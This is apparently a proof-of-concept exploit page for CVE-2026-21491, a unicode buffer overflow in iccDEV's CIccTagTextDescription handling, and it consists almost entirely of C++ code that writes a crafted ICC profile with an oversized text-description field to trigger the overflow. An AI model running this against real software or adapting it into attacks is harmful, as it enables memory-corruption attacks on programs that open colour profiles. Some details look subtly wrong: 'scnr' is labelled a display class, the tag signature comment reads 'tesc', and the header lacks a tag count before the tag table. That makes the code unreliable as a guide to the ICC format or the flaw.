CVE-2026-21491: iccDEV CIccTagTextDescription unicode缓冲区溢出漏洞

#include <iostream> #include <fstream> #include <vector> #include <cstring> // PoC for CVE-2026-21491: Unicode Buffer Overflow in CIccTagTextDescription // This PoC generates a malicious ICC profile with oversized unicode text #pragma pack(push, 1) struct ICCProfileHeader { char signature[4]; // 'acsp' uint32_t profile_size; uint32_t cmm_type; uint32_t profile_version; uint32_t profile_class; uint32_t color_space; uint32_t pcs; uint32_t creation_date[12]; char platform[4]; uint32_t flags; uint32_t device_manufacturer; uint32_t device_model; uint64_t device_attributes; uint32_t rendering_intent; uint32_t pcs_illuminant[3]; char creator[4]; uint32_t reserved[7]; }; struct ICCTagEntry { uint32_t signature; uint32_t offset; uint32_t size; }; // TextDescription tag structure vulnerable to overflow struct TextDescriptionData { uint32_t count; // Unicode text count uint16_t unicodeText[1024]; // Malicious oversized unicode text }; #pragma pack(pop) void create_malicious_icc_profile(const std::string& filename) { std::ofstream file(filename, std::ios::binary); if (!file.is_open()) { std::cerr << "Failed to create file" << std::endl; return; } // Create header ICCProfileHeader header = {}; memcpy(header.signature, "acsp", 4); header.profile_size = 4096; header.profile_version = 0x02400000; // Version 2.4 header.profile_class = 0x73636E72; // 'scnr' (display class) header.color_space = 0x52594742; // 'RGB ' header.pcs = 0x58595A20; // 'XYZ ' // Write header file.write(reinterpret_cast<char*>(&header), sizeof(header)); // Create TextDescription tag entry ICCTagEntry textDescTag = {}; textDescTag.signature = 0x74657363; // 'tesc' textDescription textDescTag.offset = sizeof(header) + sizeof(ICCTagEntry); textDescTag.size = sizeof(TextDescriptionData); // Write tag table file.write(reinterpret_cast<char*>(&textDescTag), sizeof(textDescTag)); // Create malicious TextDescription data TextDescriptionData textData = {}; // Set count to indicate large unicode string textData.count = 1024; // Fill with repeated 'A' characters (unicode) for (int i = 0; i < 1024; i++) { textData.unicodeText[i] = 0x0041; // 'A' in unicode } // Write malicious data - this should trigger buffer overflow file.write(reinterpret_cast<char*>(&textData), sizeof(textData)); file.close(); std::cout << "Malicious ICC profile created: " << filename << std::endl; std::cout << "This profile contains oversized unicode text to trigger CVE-2026-21491" << std::endl; } int main() { create_malicious_icc_profile("CVE-2026-21491.icc"); return 0; }